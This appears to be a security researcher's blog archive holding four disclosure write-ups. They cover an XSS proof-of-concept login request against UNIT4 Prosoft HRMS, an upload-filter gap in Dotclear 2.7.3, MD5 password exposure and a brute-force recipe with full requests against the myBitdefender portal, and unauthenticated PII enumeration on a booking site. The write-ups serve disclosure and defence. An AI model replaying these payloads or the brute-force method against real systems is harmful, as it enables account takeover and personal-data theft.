Monthly Archives: February 2015

CVE-2015-2082 – UNIT4 Prosoft HRMS XSS Vulnerability

# Vulnerability type: Cross-site Scripting
# Vendor: http://www.unit4.com/
# Product: UNIT4 Prosoft HRMS
# Product site: http://www.unit4apac.com/products/prosofthrms
# Affected version: =< 8.14.230.47
# CVE-ID: CVE-2015-2082
# Credit: Jerold Hoong & Edric Teo
# PROOF OF CONCEPT
The login page of UNIT4's Prosoft HRMS is vulnerable to cross-site scripting.

POST /Login.aspx?ReturnUrl=%2fCommon%2fBroadcastMessageDisplay.aspx%3fUrlReferrerCode%3d&UrlReferrerCode HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=teuq5d45e53ecg45mzptyv55
Host: 127.0.0.1
Content-Length: 1276
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-SG
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMjAyNzEwNDEyO
Q9kFgQCAQ9kFgICAQ8WAh4EVGV4dAVfPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBo
cmVmPSJBcHBfVGhlbWVzL1BTRGVmYXVsdC9JbWFnZXMvRmF2SWNvbi5pY28iIHR5cGU
9ImltYWdlL3gtaWNvbiIgLz5kAgMPZBYKAgEPZBYCAgMPDxYCHgdWaXNpYmxlaGRkAg
MPZBYCZg8PFgIfAAU0VGhlIGNvZGUgY29udGFpbnMgaW52YWxpZCBjaGFyYWN0ZXJzL
iAoVVNSLlVzZXJDb2RlKWRkAgUPDxYCHwAFBlY4IFVBVGRkAgcPZBYWAgEPZBYEAgEP
DxYCHwAFC0NsaWVudCBDb2RlZGQCBQ8PFgIeDEVycm9yTWVzc2FnZQUIUmVxdWlyZWR
kZAIDD2QWBAIBDw8WAh8ABQZTZXJ2ZXJkZAIDDxBkZBYAZAIFD2QWBAIBDw8WAh8ABQ
hEYXRhYmFzZWRkAgUPDxYCHwIFCFJlcXVpcmVkZGQCBw9kFgQCAQ8PFgIfAAULTERBU
CBEb21haW5kZAIDDxBkZBYAZAIJDw8WAh8ABQdVc2VyIElEZGQCCw8PZBYCHgxhdXRv
Y29tcGxldGUFA29mZmQCDQ8PFgIfAgUIUmVxdWlyZWRkZAIPDw8WAh8ABQhQYXNzd29
yZGRkAhMPDxYCHwFoZBYEAgEPDxYCHwAFCExhbmd1YWdlZGQCAw8QZGQWAGQCFQ8PFg
IfAAUVRm9yZ290IHlvdXIgcGFzc3dvcmQ%2FZGQCFw8PFgYfAAUHU2lnbiBJbh4EXyF
TQgKAAh4FV2lkdGgbAAAAAADAUkABAAAAZGQCCw9kFgJmD2QWBAIDDxYCHwAFQkNvcH
lyaWdodCDCqSAyMDExIFVOSVQ0IEFzaWEgUGFjaWZpYyBQdGUgTHRkLiBBbGwgUmlna
HRzIFJlc2VydmVkLmQCBQ8WAh8ABRNWZXJzaW9uIDguMTQuMzMwLjQzZGSwnj3yxmGD
Z9jR0wKr5HZldmVj4w%3D%3D&__EVENTVALIDATION=%2FwEWBQLctJOuBALT8dy8BQ
K1qbSRCwLWxaLXDALD94uUBwZOBjPAY1F7DZ4L5a8tZ4BpX9CW&txtUserID=%22%3E
%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&txtPassword=&btnSignIn=S
ign+In

# TIMELINE
- 28/10/2014: Vulnerability found
- 04/11/2014: Vendor informed
- 04/11/2014: Vendor responded
- 30/11/2014: Vendor fixed the issue
- 14/02/2015: Public disclosure

prosoft_hrms prosoft_hrms_2
References:

Dotclear 2.7.3 Upload File Issue

I was messing around with an open-source CMS yesterday and notice a possible security issue with the default installation of Dotclear version 2.7.3. Checking the CVE database (CVE-2014-3782),  I found that this issue has already been raised a while back. Appears that is it not fixed entirely as it turns out that the Media Manager in a default install of Dotclear 2.7.3 only blocks .php files (a setting in config) from being uploaded. I attempt to upload .php5 webshell, .html (with XSS) and .exe and succeeded.

The default installation should have configs that block some potentially “more harmful” extensions such as .exe, .html, .shtml, .php5 etc.

Some screenshots:

media

media4

media2

media3

Flaws in Bitdefender Portal

There seem to be some security issues with the way Bitdefender Internet Security 2015 software (Build 18.20.0.1429) interacts with its myBitdefender online portal.

Issues:
1) Possible partial information disclosure privacy issue of users’ myBitdefender account credentials when using the SAFEGO functionality for Facebook.
2) Bruteforce of passwords for myBitdefender accounts are possible using the method below.

ISSUE 1

To illustrate issue 1, I have created a spare account on myBitdefender at https://my.bitdefender.com with the following credentials:

Login ID: jerold.usa@gmail.com
Password: password1

Upon clicking on the SAFEGO “Reports for Facebook” link from Bitdefender’s user interface under the “Tools” tab, a web URL link will be open:

https://my.bitdefender.com/en_US/my/#page=safego.facebook_index&#038;?login=jerold.usa@gmail.com&passmd5=7c6a180b36896a0a8c02787eeafb0e4c&lang=en_us

Note the HTTP parameter passmd5 which contains the value “7c6a180b36896a0a8c02787eeafb0e4c”. It is a simple trivial hashing of the plaintext password “password1” using the MD5 algorithm which is “broken” in some sense.

A malicious attacker that has gotten hold of the hash can do a simple reverse lookup using the many available MD5 hash databases online.

In my simple test I used http://www.md5online.org/ with the hash “7c6a180b36896a0a8c02787eeafb0e4c” and was given the plaintext password of value “password1”.

ISSUE 2:

Another point of concern is the HTTP response that was received when the HTTP GET request with valid credentials below was sent:

GET /lv2/account?login=jerold.usa%40gmail.com&passmd5=7c6a180b36896a0a8c0278
7eeafb0e4c&type=userpass HTTP/1.1
Host: my.bitdefender.com
Connection: keep-alive
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Referer: https://my.bitdefender.com/login
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: com.bitdefender.mybd.lang=%7B%22lang%22%3A%7B%22name%22%3A%22en_us%22%7D
%2C%22expire%22%3Anull%7D; _ga=GA1.3.1523623201.1421739258; _gat=1

The HTTP response was a JSON response from the server:

{
"token": "Wa6QqAuiUlrKRYcvnZZIEGI00TM",
"passmd5": "7c6a180b36896a0a8c02787eeafb0e4c",
"country_id": "192",
"login": "jerold.usa@gmail.com",
"preferences": "{\"lang\": \"en_us\"}"
}

Notice that the passmd5 parameter is passed back in clear. Also, it is noted that even after multiple logouts, the token value returned is still the same.

Passing a HTTP GET request below with invalid credentials has the following behavior:

GET /lv2/account?login=jerold.usa%40gmail.com&passmd5=7c6a180b36896a0a8c0278
7eeafb0e4d&type=userpass HTTP/1.1
Host: my.bitdefender.com
Connection: keep-alive
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Referer: https://my.bitdefender.com/login
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: com.bitdefender.mybd.lang=%7B%22lang%22%3A%7B%22name%22%3A%22en_us%22%7D
%2C%22expire%22%3Anull%7D; _gat=1; _ga=GA1.3.1523623201.1421739258; com.bitdefender.mybd=%7B%22user%22%3A%22jerold.usa@gmail.com%22%2C%22tok
en%22%3A%22Wa6QqAuiUlrKRYcvnZZIEGI00TM%22%2C%22country_id%22%3A%22192%22
%2C%22lang%22%3A%7B%22name%22%3A%22en_us%22%7D%2C%22expiry%22%3A14217423
42979%2C%22remember%22%3Afalse%7D

The HTTP response was a JSON response from the server:

{
"captcha": "false",
"error": "wrong_login"
}

Notice that the server responded with wrong login, indicating that the login failed. There is no form of captcha that tracks the number of failed logins before locking the account for a said period of time, which is ideal for a bruteforce attack.

Bruteforce attack scenario:

1. Obtain a dictionary wordlist of md5 hashes which is easily available online. A quick Google shows that some wordlists have more than 376,484,923,572 hashes.
2. Obtain the target’s email address.
3. Code a script to send the GET request as below, substituting the login and passmd5 HTTP parameters with the target’s email address and hashes from the wordlist. Alternatively, BurpSuite’s intruder would be perfect for this case. Load the wordlist and use sniper-mode to start the bruteforce.
4. Observe the HTTP response. if a response similar to the one below is found, the account has been compromised, allowing the attacker access to all Bitdefender online functionalities.

{
"token": "Wa6QqAuiUlrKRYcvnZZIEGI00TM",
"passmd5": "7c6a180b36896a0a8c02787eeafb0e4c",
"country_id": "192",
"login": "jerold.usa@gmail.com",
"preferences": "{\"lang\": \"en_us\"}"
}

Seeing how Bitdefender’s popularity has grown in recent years, I would expect a “more secure” approach to handling such potentially sensitive data…

Information Disclosure

I was trying to book an appointment on a site a few months back and chanced upon a vulnerability that allows unauthenticated users of the site to retrieve person information that might not belong to them.

Brief description of the issue: It was possible to obtain a user’s full name and/or passport number with a known valid NRIC/FIN number by looking at JSON responses from the server. A malicious user could create a script and by specially crafting cURL requests, retrieve Personally identifiable information (PII) of the general public automatically. This can be done without first being authenticated via a login or similar mechanism. This issue could be mitigated by requesting for addition validation information such as the person’s date of birth or other personal data prior to retrieving user’s private data.

A sample cURL request below.

curl-req

One could craft a script, replace the parameter in the red box with a list of valid NRIC/FIN numbers, send the requests and harvest personal information from the following JSON responses like the one shown below:

json_response

The relevant authorities have been contacted and the issue has now been fixed.